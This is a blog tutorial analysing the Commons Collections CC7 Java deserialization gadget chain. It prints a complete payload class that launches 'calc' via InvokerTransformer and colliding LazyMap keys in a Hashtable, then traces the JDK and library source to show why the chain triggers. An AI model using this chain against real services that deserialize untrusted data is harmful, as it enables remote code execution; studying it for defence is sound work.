12 java Security -- java deserialization CC7 chain analysis

Posted by troybtj on Sun, 19 Dec 2021 17:08:40 +0100

Before analyzing the CC7 chain, you need to have a certain understanding of the source code of the Hashtable set.

In terms of thinking, I think the CC7 utilization chain is more like a transformation from the CC6 utilization chain, but the CC7 chain does not use HashSet, but uses Hashtable to construct a new utilization chain.

After testing, the CC7 utilization chain can be successfully utilized in both jdk8u071 and jdk7u81. The payload code is as follows:

package com.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/*
        Utilization chain based on Hashtable
 */
public class CC7Test {

    public static void main(String[] args) throws Exception {
        //Construct core utilization code
        final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
                new ConstantTransformer(1)};

        //Use Hashtable to construct LazyMap called by chain
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");
        //Output the hash value of two elements
        System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
        System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());


        //iTransformers = transformers
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        //Serialization -- > deserialization (hashtable)
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CC7 utilization chain analysis:

1. Use the Transformer array to construct the utilization code, and then set the transformers array to the iTransformers attribute of the ChaniedTransformer class through reflection. This step is basically the same as the construction idea of CC6 utilization chain. There is nothing to say.

2. When constructing the utilization chain, CC7 still uses LazyMap to construct the utilization chain. The difference is that CC7 uses a new chain Hashtable to trigger the LazyMap utilization chain and finally execute the core utilization code.

After the previous study from CC1 to CC6, I believe you are very familiar with the Transformer array to construct and use code. We won't repeat it here. We focus on how the Hashtable constructs and uses the chain and how to trigger the LazyMap chain during deserialization.

Let's first look at the Hashtable serialization process

    private void writeObject(java.io.ObjectOutputStream s) throws IOException {
		//Temporary variable (stack)
        Entry<Object, Object> entryStack = null;

        synchronized (this) {
            s.defaultWriteObject();

			//Capacity written to table
            s.writeInt(table.length);
			//Number of elements written to table
            s.writeInt(count);

            //Take out the elements in the table and put them into the entryStack
            for (int index = 0; index < table.length; index++) {
                Entry<?,?> entry = table[index];

                while (entry != null) {
                    entryStack =
                        new Entry<>(0, entry.key, entry.value, entryStack);
                    entry = entry.next;
                }
            }
        }

        //Write each element in the stack in turn
        while (entryStack != null) {
            s.writeObject(entryStack.key);
            s.writeObject(entryStack.value);
            entryStack = entryStack.next;
        }
    }

Hashtable has an entry <?,? > [] type, and it is also an array for storing elements (key value pairs). During serialization, hashtable will first write the capacity of the table array into the serialization stream, then write the number of elements in the table array, and then take out the elements in the table array and write them into the serialization stream.

Let's look at the deserialization process of Hashtable:

	private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the capacity of the table array
        int origlength = s.readInt();
		//Read the number of elements of the table array
        int elements = s.readInt();

		//Calculate the length of the table array
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
		//Create a table array based on length
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

		//Deserialization, restore table array
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            reconstitutionPut(table, key, value);
        }
    }

Hashtable will first read the capacity and number of elements of the table array from the deserialization stream, and calculate the length of the table array according to the origlength and elements, Then the table array is created based on the calculated length (origlength and elements can determine the size of the table array), then each element is sequentially read from the anti serialization stream, and then the reconstitutionPut method is called to reinsert the element into the table array (table attribute of Hashtable), and finally the anti serialization is completed.

reconstitutionPut method is a very important method. Let's further analyze this method

	private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
		//value cannot be null
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }

		//Recalculate the hash value of the key
        int hash = key.hashCode();
		//Calculate the storage index according to the hash value
        int index = (hash & 0x7FFFFFFF) % tab.length;
		//Determine whether the key of the element is repeated
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
			//If the key is repeated, an exception is thrown
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        //If the key is not repeated, the element is added to the table array
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

The reconstitutionPut method first verifies that the value is not null, otherwise it throws a deserialization exception, and then calculates the storage index of the element in the table array according to the key to judge whether the element is repeated in the table array. If it is repeated, it throws an exception. If it is not repeated, it converts the element into an Entry and adds it to the tab array.

The key to triggering CC7 using chain vulnerabilities lies in the reconstitutionPut method, which verifies whether the hash values of the two elements are the same when judging the repeated elements, and then the key will call the equals method to judge whether the key is repeated, which will trigger the vulnerability.

It should be noted that when adding the first element, the if statement will not be entered and the equals method will be called for judgment. Therefore, the equals method will be called only when there are at least 2 elements in the Hashtable and the hash value of the elements must be the same, otherwise the vulnerability will not be triggered.

This step is e.key Equals () calls the equals method of LazyMap, but there is no equals method in LazyMap. In fact, it calls the equals method of LazyMap's parent class AbstractMapDecorator. Although AbstractMapDecorator is an abstract class, it implements the equals method.

	public boolean equals(Object object) {
		//Is it the same object (compare references)
		if (object == this) {
			return true;
		}
		//Call the equals method of HashMap
		return map.equals(object);
	}

The equals method of AbstractMapDecorator class only compares the references of the two key s. If the same object is not the same object, the equals method will be called again, and the map attribute is passed through LazyMap. When constructing the utilization chain, we pass the HashMap to the map attribute through the static method modify of LazyMap, so the equals method of HashMap will be called here.

We did not find a member method named equals in HashMap, but through analysis, we found that HashMap inherits the AbstractMap abstract class, which has an equals method

   public boolean equals(Object o) {
		//Is it the same object
        if (o == this)
            return true;
		//Is the run type not Map
        if (!(o instanceof Map))
            return false;
		//Upward transformation
        Map<?,?> m = (Map<?,?>) o;
		//Determine the number of HashMap Elements size
        if (m.size() != size())
            return false;

        try {
			//Gets the iterator of the HashMap
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
				//Get each element (Node)
                Entry<K,V> e = i.next();
				//Get key and value
                K key = e.getKey();
                V value = e.getValue();
				//If value is null, determine key
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
				//If value is not null, judge whether the content of value is the same
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

The equals method of the abstract class AbstractMap makes more complex judgments:

  1. Judge whether it is the same object
  2. Determine the operation type of the object
  3. Determine the number of elements in the Map

When the above three judgments are not satisfied, further judge the elements in the Map, that is, judge whether the contents of the key and value of the element are the same. When the value is not null, m will call the get method to obtain the contents of the key. Although the object o is transformed upward into a Map type, the m object is essentially a LazyMap. Therefore, when the m object calls the get method, it actually calls the get method of LazyMap.

LazyMap's get method internally determines whether the currently incoming key exists. If not, it will invoke the transform method in the if statement. This method calls the core of the Transformer array to use the code to construct the command execution environment, resulting in a loophole.

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
			//Construct command execution environment
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

Where does the second element (yy=yy) in the lazyMap2 set come from

In the payload code of CC7 utilization chain, when adding the second element to Hashtable, lazyMap2 set will add an element (yy=yy) inexplicably. At first, I thought it was a bug. After carefully tracking the process of adding elements to Hashtable, I found that when Hashtable calls the put method to add elements, it will call the equals method to determine whether it is the same object, and in equals, it will call the get method of LazyMap to add an element (yy=yy).

For example, when Hashtable calls the put method to add the second element (lazyMap2, 1), the equals method will be called inside the method to judge whether it is the same element according to the key of the element

	public synchronized V put(K key, V value) {
		//Is value null
        if (value == null) {
            throw new NullPointerException();
        }

		//Temporary variable
        Entry<?,?> tab[] = table;
		//Calculate the storage index of the element
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
		//Gets the linked list of the specified index
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
		//Traverse the nodes (elements) of the linked list
        for(; entry != null ; entry = entry.next) {
			//Determine whether the key is repeated
            if ((entry.hash == hash) && entry.key.equals(key)) {
				//Override value
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }
		//If the key is not repeated, the element is added
        addEntry(hash, key, value, index);
        return null;
    }

The key at this time is the lazyMap2 object, and lazyMap2 actually calls the equals method of the AbstractMap abstract class. The equals method will call the get method of lazyMap2 to judge whether the key of the element in the table array already exists in lazyMap2. If it does not exist, transform will return the currently passed in key as value, Then lazyMap2 will call the put method to add key and value (yy=yy) to lazyMap2.

During deserialization, the reconstitutionPut method will call the equals method to judge the duplicate elements when restoring the table array. Because the equals method of the AbstractMap abstract class is more strict in verification, it will judge the number of elements in the Map. Because the number of elements in lazyMap2 and lazyMap1 are different, it will directly return false, so the vulnerability will not be triggered.

Therefore, when constructing the payload code of CC7 utilization chain, after adding the second element to Hashtable, lazyMap2 needs to call the remove method to delete the element (yy=yy) to trigger the vulnerability.

lazyMap2.remove("yy");

Analysis of hash value of two elements of CC7 utilization chain

As we mentioned earlier, there is another premise for triggering vulnerabilities: the hash values of the two elements must be the same.

As shown below, during deserialization, the eauals method is called only when the hash values of the two elements in the if judgment in the reconstitutionPut method must be the same.

This is why we must add two elements when constructing the utilization chain. Although the hash values of the two elements are the same, they are essentially two different elements.

Why are the hash values of these two lazymaps the same? Continue to track the hashCode method. When LazyMap calls the hashCode method, it will actually call the hashCode method of the AbstractMap abstract class.

The hashCode method of the AbstractMap abstract class actually calls the hashCode method of the element (yy=1) in the HashMap, which is exactly the hashCode method of the Node node

Node class calls the hashCode static method of Objects class to calculate the hash values of key and value, and then performs XOR operation to obtain a new hash value.

Continue to follow up on the hashCode static method of the Objects class

From this, we can basically know that the bottom layer actually calls the hashCode method of the wrapper class String of the String "yy". The hashCode method calculates a hash value of 3872 through the ascii code value of the character.

Calculation process of hash value:

In the first calculation, the value of val[i] is the lowercase letter y, the ascii code value of y is 121, and the h value is 121.

In the second calculation, the value of val[i] is the lowercase letter y, and the value of h is 3872 = 31 * 121 + 121. Finally, the hash value is 3872.

Then return to the hashCode method in the Node class, perform or operation to obtain a 3873 new hash value, and return it to the hashCode method of the AbstractMap class. Finally, the hash value of lazyMap1 is 3873

Similarly for lazyMap2, the String "zZ" will also call the hashCode method of the wrapper class String, and the hash value of the String "zZ" is also 3872.

Calculation process of hash value:

In the first calculation, the value of val[i] is the lowercase letter z, and the value of h is 122.

In the second calculation, the value of val[i] is the capital letter Z, and the value of h is: 3872 = 31 * 122 + 90

From this, we can basically understand that the key value of the element in lazyMap is carefully constructed. Its purpose is to construct two keys with the same hash value, so as to trigger the vulnerability.

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

In other words, the string of the key can be replaced, but the hash value of the string in the key must be the same. For example, changing the string of the key to the following value can also trigger the vulnerability.

        lazyMap1.put("Ea", 1);
        lazyMap2.put("FB", 1);

At this point, CC7 uses chain analysis to complete.

Topics: Java Cyber Security security hole